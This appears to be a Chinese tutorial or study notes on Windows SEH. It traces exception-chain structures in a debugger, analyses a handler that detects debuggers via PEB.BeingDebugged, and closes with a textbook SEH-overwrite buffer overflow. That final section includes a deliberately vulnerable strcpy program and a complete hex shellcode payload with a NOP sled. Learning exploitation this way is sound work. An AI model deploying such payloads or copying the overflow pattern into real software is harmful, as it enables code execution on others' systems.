SEH
windows异常处理程序,存储在栈中
SEH链
SEH链实际上就是一个链表,其基本单位是一个个的节点
每个节点都是由一个后向指针(指针域)和一个函数指针(值域)组成
1 2 3 4
| typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD;
|
Next不必多说,Handler是一个有固定格式的函数,其函数接口长这样
1 2 3 4 5 6
| EXCEPTION_DISPOSITION myHandler( EXCEPTION_RECORD *pRecord, EXCEPTION_REGISTRATION_RECORD *pFrame, PCONTEXT Context, PVOID pValue, );
|
这四个参数会由OS传给异常处理函数
1 2 3 4 5 6 7 8
| typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
|
返回值是一个枚举类型,在excpt.h中可以找到其定义
1 2 3 4 5 6 7 8
| typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION;
|
SEH链画在图上相当于
最后一个节点的next指向FFFFFFFF,即-1,表明SEH链结束
访问进程SEH链
TEB+0x00存放的是NtTib结构体基地址
这个NtTib长啥样呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| typedef struct _NT_TIB { struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; #if defined(_MSC_EXTENSIONS) union { PVOID FiberData; DWORD Version; }; #else PVOID FiberData; #endif PVOID ArbitraryUserPointer; struct _NT_TIB *Self; } NT_TIB; typedef NT_TIB *PNT_TIB;
|
NtTib在TEB的0偏移位置,ExceptionList在NtTib的偏移位置,FS段选择子指向TEB描述符,因此
FS:[0]=TEB=TEB.NtTib=TEB.NtTib.ExceptionList
如此就可以访问SEH链表了,这里ExceptionList相当于一个附加头节点
安装SEH节点
c语言中使用__try,__except,__finally
关键字
汇编语言中只需要将SEH节点头插进入SEH节点就可以了
1 2 3
| PUSH &myHandler ;seh节点的函数地址压栈 PUSH DWORD PTR FS:[0] ;seh节点的后向指针压栈,头插法采用原来的头 MOV DWORD PTR FS:[0],ESP ;当前节点正好位于栈顶,将其地址放到ExceptionList上覆盖原来的头节点
|
当前节点成为SEH链的第一个节点
调试观察SEH工作流程
main之前建立的seh链
用ida打开seh.exe观察
使用od动态调试seh.exe,让程序先运行到main函数0x401000处
od已经识别出main一开始干了啥了
在头插之前,先看一下原来的第一个seh节点
此时fs:[00000000]=[00386000]=0019FF64
,去栈中0x19FF64看看
下一个seh节点在0x19FFCC位置,本seh节点的异常处理函数在0x402730,用ida观察这个位置
这个函数很大,看地址是在用户空间的,不是DLL中的也不是内核中的,那么它是啥时候注册的呢?
1 2 3 4 5
| start() ___tmainCRTStartup() __cinit() __IsNonwritableInCurrentImage() main()
|
在main之前___tmainCRTStartup
会首先调用__cinit
进行注册,然后才会调用main
也就是说,这是运行库注册的
注册新的seh节点
注意此时只是注册,其中的异常处理函数也是一个回调函数,不会立刻执行,需要确实发现异常的时候才会执行
main函数首先插入了一个seh节点,其异常处理函数在0x40105A处,这个函数干了啥呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .text:0040105A loc_40105A: ; DATA XREF: _main↑o .text:0040105A mov esi, [esp+0Ch];esi指向栈中0x19f470 .text:0040105E mov eax, large fs:30h;PEB地址 .text:00401064 cmp byte ptr [eax+2], 1;检查是否BeingDebugged .text:00401068 jnz short loc_401076;如果不是则跳转0x4001076,否则顺序执行 .text:0040106A mov dword ptr [esi+0B8h], offset loc_401023;将0x401023写到esi+0xB8h的地方 .text:00401074 jmp short loc_401080;跳转函数尾声 .text:00401076 ; --------------------------------------------------------------------------- .text:00401076 .text:00401076 loc_401076: ; CODE XREF: .text:00401068↑j .text:00401076 mov dword ptr [esi+0B8h], offset loc_401039 .text:00401080 .text:00401080 loc_401080: ; CODE XREF: .text:00401074↑j .text:00401080 xor eax, eax .text:00401082 retn;返回了
|
这个函数检查了当前是否处于调试状态,根据该状态将不同的函数地址,写到esi+0xB8h指向的地方
这是个什么地方呢?Context.Eip,干啥用的呢?留作后话
当我们的seh节点注册完毕之后
1 2
| esp=0019FF28 fs:[00000000]=[00386000]=0019FF28
|
此时ExceptionList已经指向0x19FF28了,栈中观察这个位置
后向指针也已经指向了刚才的0x40105A节点.现在的SEH链长这样
1 2 3 4 5 6
| ExceptionList@0x386000-> myNode@0x19FF28-> CRTNode@0x19FF64-> ntdllNode1@0x19FFCC-> ntdllNode2@0x19FFE4-> -1
|
如果发生异常,首先会调用这个链最头上的myNode@0x19FF28
中的异常处理函数
od已经自动识别出seh链长啥样了,od->查看->seh链
引发异常
在注册完我们的seh节点之后,有两句故意找茬的指令,按理说c语言是敲不出这种指令的,实际上是用内联汇编写的
1 2
| .text:00401017 xor eax, eax .text:00401019 mov dword ptr [eax], 1
|
把1写到0x0位置,显然往未注册过的内存写东西会寄,触发EXCEPTION_ACCESS_VIOLATION(0xc0000005)异常
执行异常处理函数
触发异常之后,程序会跳转到第一个seh节点中注册的异常处理函数,期间经过了很多库函数调用,导致栈顶移动了很远的距离
从0x19FF28到0x19F320一共0xc08个字节
此时控制已经转移到myHandler@0x40105A,这就是main函数一开始注册的seh节点中的异常处理函数
此时栈帧的情况
myHandler@0x40105A的返回地址是NTDLL库函数
返回地址往上的4个双字就是myHandler的参数了
1 2 3 4 5 6
| EXCEPTION_DISPOSITION myHandler( EXCEPTION_RECORD *pRecord, EXCEPTION_REGISTRATION_RECORD *pFrame, PCONTEXT Context, PVOID pValue, );
|
参数 |
参数地址 |
参数指向 |
pRecord |
0x19F324 |
0x19F420 |
pFrame |
0x19F328 |
0x19FF28 |
Context |
0x19F32C |
0x19F470 |
pValue |
0x19F330 |
0x19F3AC |
参数指向的地址都在栈中,看来抬栈0xc08个字节其中的作用就有准备参数
Record@0x19F420
Record@0x19F420长这样
1 2 3 4 5 6 7 8
| typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD;
|
偏移 |
成员 |
值 |
意义 |
0 |
ExceptionCode |
0xC0000005 |
访问非法内存 |
0x4 |
ExceptionFlags |
0 |
|
0x8 |
ExceptionRecord |
0 |
|
0xC |
ExceptionAddress |
0x401019 |
.text:00401019 mov dword ptr [eax], 1 |
0x10 |
NumberParameters |
2 |
|
0x14 |
ExceptionInformation[0] |
1 |
|
0x15-0x69 |
ExceptionInformation[1-..] |
0 |
|
Frame@0x19FF28
1 2 3 4
| typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD;
|
Context@0x19F470
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| typedef struct DECLSPEC_NOINITALL _CONTEXT { DWORD ContextFlags;
DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7;
FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs;
DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax;
DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;
typedef CONTEXT *PCONTEXT;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| $ ==> 0019F470 |0001007F $+4 0019F474 |004011C2 返回到 seh.004011C2 来自 seh.00401000 $+8 0019F478 |00000000 $+C 0019F47C |00000000 $+10 0019F480 |00000000 $+14 0019F484 |FFFF0FF0 $+18 0019F488 |00000100 省略浮点数寄存器 $+88 0019F4F8 |00000000 ;segGS $+8C 0019F4FC |0000002B $+90 0019F500 |00000053 ;FS $+94 0019F504 |0000002B ;ES $+98 0019F508 |0000002B ;DS
$+9C 0019F50C |00401219 ;EDI seh.<ModuleEntryPoint> $+A0 0019F510 |00401219 ;ESI seh.<ModuleEntryPoint> $+A4 0019F514 |002CF000 ;Ebx $+A8 0019F518 |005BF5B8 ;Edx $+AC 0019F51C |00000001 ;Ecx $+B0 0019F520 |00000000 ;Eax
$+B4 0019F524 |0019FF74 ;EBP $+B8 0019F528 |00401019 ;Eip seh.00401019 $+BC 0019F52C |00000023 ;CS $+C0 0019F530 |00010246 ;Eflags $+C4 0019F534 |0019FF28 ;Esp $+C8 0019F538 |0000002B ;segSS
...
|
其中eip指向0x401019,这还是发生内存异常的那条指令
1
| .text:00401019 mov dword ptr [eax], 1
|
myHandler@0x40105A
分析完了函数以及返回地址,现在将焦点放到该异常处理函数身上
此时的堆栈
1 2 3 4 5
| 0019F320 77B08BF2 返回到 ntdll.77B08BF2 ;返回地址 0019F324 0019F420 ;第一个参数,pRecord 0019F328 0019FF28 ;第二个参数,pFrame 0019F32C 0019F470 ;第三个参数,pContext 0019F330 0019F3AC UNICODE "48";第四个参数,pValue
|
把context放到esi上
第一条指令
esp+0xC此时指向第三个参数,即pContext
这里解引用了一下,就把Context的基地址放到esi上了
将PEB放到eax上
fs选择子指向TEB的描述符,TEB+0x30指向PEB
将TEB的基地址放到了eax上
检测是否beingdebugged
第三条指令,取了PEB+0x2的一个字节的值,和1进行比较,
PEB+0x2存放的就是BeingDebugged,如果正在被调试,一般该值会置1,
如果该值为1则和1的差就是0,ZF就置1
否则如果该值为0则和1的差不为0,ZF置0
jnz 0x00401076
实际调试的时候,刚才的计算结果不为0,即ZF=1,jnz跳转
说也奇怪,使用od调试运行的,为啥这里没有检测出调试器呢?
od调试运行时不会检测出调试器,但是x32dbg调试运行就会检测出调试器
修改context.Eip
本函数一开始就将context的基地址放到了esi上,现在将0x401039放到[esi+0xB8]这个地方,也就是context+0xB8=Eip
这意味着,本seh节点的异常处理函数,将context上下文中的eip,根据当前是否被调试,从事故现场,改到了其他没有事故的函数中.这也就是该seh节点的异常处理策略
当本次异常处理结束之后,控制将会交给0x401039
0x401039处的函数干了啥呢?
1 2 3 4 5 6 7 8 9 10 11 12
| .text:00401039 loc_401039: ; DATA XREF: .text:loc_401076↓o .text:00401039 push 0 ; uType .text:0040103B push offset Caption ; "ReverseCore" .text:00401040 push offset aHello ; "Hello :)" .text:00401045 push 0 ; hWnd .text:00401047 call ds:MessageBoxA .text:0040104D .text:0040104D loc_40104D: ; CODE XREF: _main+37↑j .text:0040104D pop large dword ptr fs:0 .text:00401054 add esp, 4 .text:00401057 retn .text:00401057 _main endp
|
首先弹窗
然后指令pop large dword ptr fs:0
就把这个第一个seh节点给扬了,留作后话
返回
在修改完context.Eip之后,函数尾声将eax置就返回了
删除seh节点
由于异常处理函数中将context.eip改成了0x401039,在该函数上下断点,然后Ctrl+F8自动步过,直到执行到断点位置
这里会首先弹窗
然后
这条指令干了啥呢?
fs:0先前分析过,指向的是seh链的附加头节点,现在将栈顶弹给seh链的附加头节点,栈顶是谁呢?
指向下一个SEH记录的指针,将这个指针的值,即下一个seh节点的地址,放到seh链的附加头节点ExceptionList上,恰好就把main一开始注册的seh节点扬了
为啥这么巧栈顶此时就是下一个seh节点的指针呢?
因为堆栈平衡.0x401039是在main函数中的,当控制转移到0x401039时相当于在main中执行,此时的栈顶就是main刚注册完seh节点的状态
返回到___tmainCRTStartup
在0x401039
函数retn之前,栈顶上存放的是0x4011C2
,将要作为返回地址了
这是要返回到哪里去呢?
1 2 3 4 5 6 7 8
| .text:004011AB mov dword_40AF88, eax .text:004011B0 push eax ; envp .text:004011B1 push argv ; argv .text:004011B7 push argc ; argc .text:004011BD call _main ; 异常处理函数地址压栈 .text:004011C2 add esp, 0Ch .text:004011C5 mov [ebp+var_20], eax .text:004011C8 cmp [ebp+var_1C], 0
|
一眼顶针,原来是返回到___tmainCRTStartup
了
栈溢出修改seh函数指针
SEH节点都是在栈帧中的,缓冲区溢出可以修改SEH节点中的异常处理函数地址,改成shellcode
书上给出的有漏洞的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include <windows.h> #include <stdio.h> #include <string> #include <stdlib.h> char shellcode[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
DWORD MyExceptionhandler(void) { printf("got an exception, press Enter to kill process!\n"); getchar(); ExitProcess(1); return 0; } void test(char *input) { char buf[200]; int zero = 0; __asm int 3 _try { strcpy(buf, input); zero = 4 / zero; } _except(MyExceptionhandler()) {} } main() { test(shellcode); }
|
在windows 2000上直接运行,由于test函数中有一个int
3中断,程序会在此报错然后启动调试
在int 3之前,0x40106B到0x40107C位置已经注册过seh节点
怎么注册的?
将原来的附加头节点中存储的第一个seh节点的地址作为当前节点的后继指针值,当前节点的异常处理函数注册为0x401518
奇怪的是,这个0x401518也是原来的第一个seh节点的注册异常处理函数
两个seh节点指向了同一异常处理函数
在栈帧视图上
新注册的seh节点的异常处理函数指针在EBP-0xC位置
下面要调用strcpy函数了
首先将ebp+8位置的源串指针压栈作为strcpy的第二个参数
然后将ebp-0xe0位置的目标缓冲区压栈作为第一个参数
然后调用strcpy@0x401330,调用完后栈帧的状态
缓冲区已经顶到了ebp-0x18,[ebp-0x18]正好是'\0'
再输入12个字节的填充就到了seh节点异常处理函数指针的家门口了,然后往这里写入四个字节的shellcode的地址
因此这个缓冲区可以写212字节的填充+3字节的shellcode地址,剩下一个字节正好是'\0'填到地址的高位
下面就是shellcode的构造了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x94\xFE\x12";
|
前面的字节都填充成0x90即nop指令,一是为了充当pad,二是为了增加命中率,只要是控制调到这些nop指令中,就会顺序执行到shellcode
最后三个字节是0x12FE94,而shellcode的基地址就是0x12FE94,也就是说将shellcode的基地址溢出到了seh节点中的异常处理函数指针上了,
就算是写0x12FE95,0x12FE96等等也都可以,nop已经把靶阔的很大了
然后除以0异常,而刚才被溢出的seh节点又恰好在seh链上首当其冲
因此shellcode就被当作异常处理函数调用了